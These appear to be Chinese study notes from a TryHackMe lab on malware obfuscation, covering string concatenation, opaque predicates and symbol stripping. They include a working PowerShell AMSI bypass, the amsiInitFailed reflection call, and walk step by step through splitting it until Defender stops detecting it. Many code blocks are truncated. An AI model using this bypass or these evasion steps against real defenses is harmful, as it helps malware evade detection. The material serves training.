THM免杀学习ObfuscationPrinciples
Introduction
混淆是检测规避方法和防止恶意软件分析的重要组成部分。 混淆最初是为了保护软件和知识产权不被窃取或复制。 虽然它仍然被广泛用于其最初的目的,但对手已将其用于恶意目的。
在这个房间里,我们将从多个角度观察混淆并分解混淆方法。
眼睛的装饰图像
学习目标
了解如何使用与工具无关的混淆来逃避现代检测工程
从知识产权保护理解混淆原理及其渊源
实施混淆方法来隐藏恶意功能
在开始本课程之前,请先熟悉基本的编程逻辑和语法。 建议了解 C 和 PowerShell,但不是必需的。
Origins of Obfuscation
混淆广泛应用于许多软件相关领域,以保护IP(Iintellectual Pproperty)和应用程序可能包含的其他专有信息。
例如,流行的游戏:Minecraft 使用混淆器 ProGuard 来混淆和最小化其 Java 类。 Minecraft 还发布了信息有限的混淆地图,作为旧的未混淆类和新的混淆类之间的转换器,以支持模组社区。
这只是公开使用混淆的多种方式的一个例子。 为了记录和整理各种混淆方法,我们可以参考分层混淆:分层安全软件混淆技术的分类。 本研究论文按层组织混淆方法,类似于 OSI 模型,但针对应用程序数据流。 下图是每个分类层的完整概述。
然后将每个子层分解为可以实现子层总体目标的具体方法。
在这个房间里,我们将主要关注分类法的代码元素层,如下图所示。
要使用分类法,我们可以确定一个目标,然后选择适合我们要求的方法。 例如,假设我们想要混淆代码的布局,但无法修改现有代码。 在这种情况下,我们可以注入垃圾代码,按分类法总结:
“代码元素层”>“混淆布局”>“垃圾代码”。
但这怎么可能被恶意利用呢? 对手和恶意软件开发人员可以利用混淆来破坏签名或阻止程序分析。 在接下来的任务中,我们将讨论恶意软件混淆的两个视角,包括每个视角的目的和底层技术。
Obfuscation’s Function for Static Evasion
对手面临的两个更重要的安全边界是防病毒引擎和EDR(Endpoint Detection & Response)解决方案 。 正如防病毒室简介中所述,两个平台都将利用广泛的已知签名数据库,称为静态签名以及考虑应用程序行为的启发式签名。
为了逃避签名,攻击者可以利用广泛的逻辑和语法规则来实施混淆。 这通常是通过滥用数据混淆实践来实现的,这些做法在合法应用程序中隐藏重要的可识别信息。
前面提到的白皮书:分层混淆分类法,在 code-element 层很好地总结了这些实践。 下面是混淆数据子层中的分类法涵盖的方法表。
**
混淆方法 | 目的 |
---|---|
数组变换 | 通过拆分、合并、折叠和展平来转换数组 |
数据编码 | 使用数学函数或密码对数据进行编码 |
数据程序化 | 用过程调用替代静态数据 |
数据分割/合并 | 将一个变量的信息分配到多个新变量 |
在接下来的任务中,我们将主要关注数据拆分/合并; 由于静态签名较弱,我们在初始混淆时一般只需要关注这一方面。
查看 Encoding/Packing/Binder/Crypters room 以获取有关 数据编码 的更多信息,并查看 Signature Evasion room 以获取有关 数据程序化的更多信息 和转变。
Object Concatenation
连接是一种常见的编程概念,它将两个单独的对象组合成一个对象,例如字符串。
预定义的运算符定义了在何处进行串联以组合两个独立的对象。 下面是 Python 中字符串连接的通用示例。
"Hello " A = |
根据程序中使用的语言,可能存在不同或多个可用于串联的预定义运算符。 下面是一个常见语言及其相应预定义运算符的小表。
**Language ** | Concatenation Operator |
---|---|
Python | “**+**” |
PowerShell | “**+”, ”,”, ”$**”, or no operator at all |
C# | “**+”, “String.Join”, “String.Concat**” |
C | “strcat” |
C++ | “**+”, “append**” |
前面提到的白皮书:分层混淆分类法,在code-element层的下很好地总结了这些实践 数据分割/合并子层。
这对攻击者意味着什么? 连接可以为多个向量打开大门,以修改签名或操纵应用程序的其他方面。 恶意软件中最常见的串联示例是破坏目标静态签名,如签名规避室中所述。 攻击者还可以先发制人地使用它来分解程序的所有对象,并尝试立即删除所有签名而不追捕它们,这在任务 9 中介绍的混淆器中很常见。
下面我们将观察静态 Yara 规则并尝试使用串联来规避静态签名。
rule ExampleRule |
当使用 Yara 扫描已编译的二进制文件时,如果存在定义的字符串,它将创建一个积极的警报/检测。 使用串联,字符串在功能上可以相同,但在扫描时将显示为两个独立的字符串,从而不会产生警报。
IntPtr ASBPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); |
IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer"); |
如果使用 Yara 规则扫描第二个代码块,则不会有警报!
从串联扩展,攻击者还可以使用非解释字符来破坏或混淆静态签名。 这些可以独立使用或串联使用,具体取决于签名的强度/实现。 下表列出了我们可以利用的一些常见的非解释字符。
**Character ** | **Purpose ** | Example |
---|---|---|
Breaks | Break a single string into multiple sub strings and combine them | ('co'+'ffe'+'e') |
Reorders | Reorder a string’s components | ('{1}{0}'-f'ffee','co') |
Whitespace | 包括未解释的空白 | .( 'Ne' +'w-Ob' + 'ject') |
Ticks | 包括未解释的刻度 | d ownLoAd String |
Random Case | 令牌通常不区分大小写,可以是任意大小写 | dOwnLoAdsTRing |
使用您在整个任务中积累的知识,混淆以下 PowerShell 片段,直到它逃避 Defender 的检测。
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) |
为了帮助您入门,我们建议分解代码的每个部分并观察它如何交互或被检测。 然后,您可以打破独立部分中存在的签名,并向其中添加另一个部分,直到获得干净的代码片段。
一旦您认为您的代码片段已被充分混淆,请将其提交到网络服务器“http://10.10.36.78”; 如果成功,弹出窗口中将出现一个标志。
如果您仍然遇到困难,我们在下面提供了解决方案的演练。
要开始尝试清理此代码片段,我们需要对其进行分解并了解警报的来源。
我们可以破坏每个 cmdlet 所在的代码片段(GetField
、SetValue
)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static')
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
让我们执行第一个代码片段,看看 PowerShell 返回什么。
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') |
这没什么奇怪的……我们可以通过分解 .NET 程序集并查看哪个部分导致警报来进一步分解此片段。
PS M:\\> [Ref].Assembly.GetType('System') |
我们现在知道“AmsiUtils”直接导致了警报。 接下来,我们可以通过串联来将其分解并尝试使该部分变得干净。
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils') |
成功! 现在我们可以将下一个代码片段附加到第一个代码片段的干净版本中并执行它。
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsiInitFailed','NonPublic,Static') |
现在这个片段可能更难追踪…… 凭借对 PowerShell 的一些先验知识,我们可以假设“NonPublic”和“Static”都是非常标准的,不会对签名做出贡献。 我们可以假设 Defender 正在警告“amsiInitFailed”并尝试拆分它。
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsi'+'Init'+'Failed','No'+'nPublic,S'+'tatic') |
成功! 现在我们可以将下一个代码片段附加到第一个和第二个代码片段的干净版本中并执行它。
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsi'+'Init'+'Failed','No'+'nPublic,S'+'tatic').SetValue($null,$true) |
这很有趣,似乎没有任何参数值会导致此警报? 这必定意味着 Defender 会同时对每个 cmdlet 的存在发出警报,以确定它是恶意代码段。 为了解决这个问题,我们需要将 cmdlet 与代码片段的其余部分分开。 这种技术称为相关代码分离,通常与串联一起出现,我们将在任务 8 中进一步介绍这个概念。
PS M:\\> $Value="SetValue" |
成功! 没有更多警报,因此我们现在有一个可以使用的干净片段! 将此干净的代码片段提交到“http://10.10.36.78”并获取标志。
Obfuscation’s Function for Analysis Deception
在混淆恶意代码的基本功能后,它可能能够通过软件检测,但仍然容易受到人类分析。 虽然没有进一步的策略就不是安全边界,但分析师和逆向工程师可以深入了解我们的恶意应用程序的功能并停止操作。
对手可以利用先进的逻辑和数学来创建更复杂、更难以理解的代码来对抗分析和逆向工程。
有关逆向工程的更多信息,请查看恶意软件分析模块。
上述白皮书:分层混淆分类,在 code-element 的其他子层下很好地总结了这些实践层。 下面是obfuscating layout and obfuscating controls sub-layers中的分类法涵盖的方法表。
混淆方法 | 目的 |
---|---|
垃圾代码 | 添加非功能性的垃圾指令,也称为代码存根 |
相关代码的分离 | 将相关代码或指令分开,增加程序阅读难度 |
剥离冗余符号 | 剥离符号信息,例如调试信息或其他符号表 |
无意义的标识符 | 将有意义的标识符转换为无意义的东西 |
隐式控制 | 将显式控制指令转换为隐式指令 |
基于调度程序的控制 | 确定运行时期间要执行的下一个块 |
概率控制流 | 引入具有相同语义但不同语法的控制流复制 |
虚假控制流 | 控制流故意添加到程序中但永远不会被执行 |
在接下来的任务中,我们将以不可知的格式演示上述几种方法。
Code Flow and Logic
控制流是程序执行的关键组成部分,它将定义程序如何逻辑地进行。 逻辑是应用程序控制流最重要的决定因素之一,包含各种用途,例如if/else语句或for循环。 传统上,程序是自上而下执行的; 当遇到逻辑语句时,会按照该语句继续执行。
下表列出了在处理控制流或程序逻辑时可能会遇到的一些逻辑语句。
逻辑语句 | 目的 |
---|---|
if/else | 仅当满足条件时才执行,否则将执行不同的代码块 |
try/catch | 如果无法处理错误,将尝试执行代码块并捕获它。 |
switch 将遵循与 if 语句类似的条件逻辑,但在解析为中断或默认 | 之前,会使用 case 检查几种不同的可能条件。 | switch 将遵循与 if 语句类似的条件逻辑,但在解析为中断或默认之前,会使用 case 检查几种不同的可能条件 |
for/while | for 循环将执行一定数量的条件。 while 循环将执行,直到不再满足条件。 |
为了使这个概念具体化,我们可以观察一个示例函数及其相应的 CFG (Control Flow Graph) 来描述它可能的控制流路径。
x = 10 |
这对攻击者意味着什么? 分析人员可以尝试通过控制流来理解程序的功能; 虽然存在问题,但逻辑和控制流程几乎可以轻松操纵并造成任意混乱。 在处理控制流时,攻击者的目标是引入足够多的晦涩且任意的逻辑来迷惑分析人员,但又不会引入太多的逻辑来引起进一步的怀疑或可能被平台检测为恶意。
在接下来的任务中,我们将讨论攻击者可以用来迷惑分析师的不同控制流模式。
Arbitrary Control Flow Patterns
为了制作任意控制流模式,我们可以利用数学、逻辑和/或其他复杂算法将不同的控制流注入到恶意函数中。
我们可以利用谓词来制作这些复杂的逻辑和/或数学算法。 谓词是指输入函数返回 true 或 false 的决策。 从高层次上分解这个概念,我们可以想到一个类似于 if 语句用来确定是否执行代码块的条件的谓词,如上一个任务中的示例所示。
将此概念应用于混淆,不透明谓词用于控制已知的输出和输入。 论文 不透明谓词:模糊二进制代码中的攻击和防御 指出,“不透明谓词是其值已知的谓词” 混淆器,但很难推断。 它可以与其他混淆方法(例如垃圾代码)无缝应用,将逆向工程尝试变成艰巨的工作。” 不透明谓词属于分类论文的虚假控制流和概率控制流方法; 它们可用于向程序任意添加逻辑或重构预先存在的函数的控制流。
不透明谓词这一主题需要对数学和计算原理有更深入的了解,因此我们不会深入讨论它,但我们会观察一个常见的例子。
科拉茨猜想是一个常见的数学问题,可以用作不透明谓词的示例。 它指出:如果重复两个算术运算,它们将从每个正整数中返回一个。 事实上,我们知道对于已知输入(正整数)它总是会输出一个,这意味着它是一个可行的不透明谓词。 有关 Collatz 猜想的更多信息,请参阅 Collatz Problem。 下面是 Collatz 猜想在 Python 中的应用示例。
x = 0 |
在上面的代码片段中,Collatz 猜想仅在“x > 1”时才会执行其数学运算,结果为“1”或“TRUE”。 根据 Collatz 问题的定义,对于正整数输入,它将始终返回 1,因此如果“x”是大于 1 的正整数,则该语句将始终返回 true。
为了证明这个不透明谓词的功效,我们可以在右边观察它的CFG(Control Flow Graph)。 如果这就是解释函数的样子,那么想象一下对于分析师来说,编译函数可能是什么样子。
使用您在整个任务中积累的知识,将自己置于分析师的位置,并尝试解码下面代码片段的原始函数和输出。
如果您正确遵循打印语句,将会产生一个您可以提交的标志。
x = 3 |
Protecting and Stripping Identifiable Information
可识别信息可能是分析人员可以用来剖析和尝试理解恶意程序的最关键组件之一。 通过限制可识别信息的数量(变量、函数名称等),分析人员可以使攻击者更有可能无法重建其原始函数。
在较高层面上,我们应该考虑三种不同类型的可识别数据:代码结构、对象名称和文件/编译属性。 在这项任务中,我们将分解每个概念的核心概念,并对每个概念的实用方法进行案例研究。
Object Names
对象名称提供了对程序功能的一些最重要的了解,并且可以揭示函数的确切用途。 分析师仍然可以从函数的行为中解构函数的用途,但如果函数没有上下文,这会困难得多。
文字对象名称的重要性可能会发生变化,具体取决于语言是编译还是解释。 如果使用 Python 或 PowerShell 等解释语言,则所有对象都很重要并且必须进行修改。 如果使用诸如 C 或 C# 之类的编译语言,则通常只有出现在字符串中的对象才有意义。 任何产生IO 操作的函数都可以在字符串中出现对象。
前面提到的白皮书:分层混淆分类法,在code-element层的下很好地总结了这些实践 无意义的标识符方法。
下面我们将观察两个为解释语言和编译语言替换有意义的标识符的基本示例。
作为编译语言的示例,我们可以观察到用 C++ 编写的进程注入器,它向命令行报告其状态。
|
让我们使用字符串来准确查看编译此源代码时泄漏的内容。
C:\>.\strings.exe "\Injector.exe" |
请注意,所有 iostream 都被写入字符串,甚至 shellcode 字节数组也被泄漏。 这是一个较小的程序,所以想象一下一个充实且未混淆的程序会是什么样子!
我们可以删除注释并替换有意义的标识符来解决这个问题。
|
我们不应该再有任何可识别的字符串信息,并且程序可以安全地进行字符串分析。
作为解释语言的示例,我们可以从 BRC4 社区工具包。
Set-StrictMode -Version 2 |
您可能会注意到一些 cmdlet 和函数保持其原始状态……这是为什么? 根据您的目标,您可能希望创建一个应用程序,该应用程序在检测后仍然可以使逆向工程师感到困惑,但可能不会立即看起来可疑。 如果恶意软件开发人员混淆所有 cmdlet 和函数,则会增加解释语言和编译语言的熵,从而导致更高的 EDR 警报分数。 如果解释的片段看似随机或明显严重混淆,它还可能导致日志中出现可疑的解释片段。
代码结构
在处理经常被忽视且不易识别的恶意代码的各个方面时,代码结构可能是一个令人烦恼的问题。 如果解释语言和编译语言都没有得到充分解决,则可能会导致分析人员签名或更容易进行逆向工程。
正如上述分类学论文中所述,垃圾代码和重新排序代码都被广泛用作附加措施来增加解释程序的复杂性。 由于该程序未经编译,因此分析人员可以更深入地了解该程序,并且如果没有人为地夸大复杂性,他们可以专注于应用程序的确切恶意功能。
相关代码的分离可能会影响解释语言和编译语言,并导致可能难以识别的隐藏签名。 启发式签名引擎可以根据周围的函数或 API 调用来确定程序是否是恶意的。 为了规避这些签名,攻击者可以随机化相关代码的出现,以欺骗引擎,使其相信这是一个安全的调用或函数。
文件和编译属性
已编译二进制文件的更多次要方面(例如编译方法)可能看起来不是关键组件,但它们可以带来多种优势来帮助分析人员。 例如,如果程序被编译为调试版本,则分析人员可以获得所有可用的全局变量和其他程序信息。
当程序被编译为调试版本时,编译器将包含一个符号文件。 符号通常有助于调试二进制映像,并且可以包含全局和局部变量、函数名称和入口点。 攻击者必须意识到这些可能的问题,以确保正确的编译实践,并且不会将任何信息泄露给分析人员。
对于攻击者来说幸运的是,符号文件可以通过编译器或编译后轻松删除。 要从像Visual Studio这样的编译器中删除符号,我们需要将编译目标从“Debug”更改为“Release”或使用像mingw这样的轻量级编译器。
如果我们需要从预编译映像中删除符号,我们可以使用命令行实用程序:“strip”。
前面提到的白皮书:分层混淆分类法,在code-element层的下很好地总结了这些实践 剥离冗余符号方法。
下面是使用 strip 从 gcc 中编译的二进制文件中删除符号并启用调试的示例。
在积极使用工具之前应考虑其他几个属性,例如熵或哈希。 这些概念包含在签名规避室的任务 5 中。
利用您在整个任务中积累的知识,使用 AttackBox 或您自己的虚拟机从下面的 C++ 源代码中删除任何有意义的标识符或调试信息。
一旦充分混淆和剥离,使用“MingW32-G++”编译源代码并将其提交到“http://10.10.194.26/”的网络服务器。
注意:文件名必须是“challenge-8.exe”才能接收标志。
#include "windows.h" |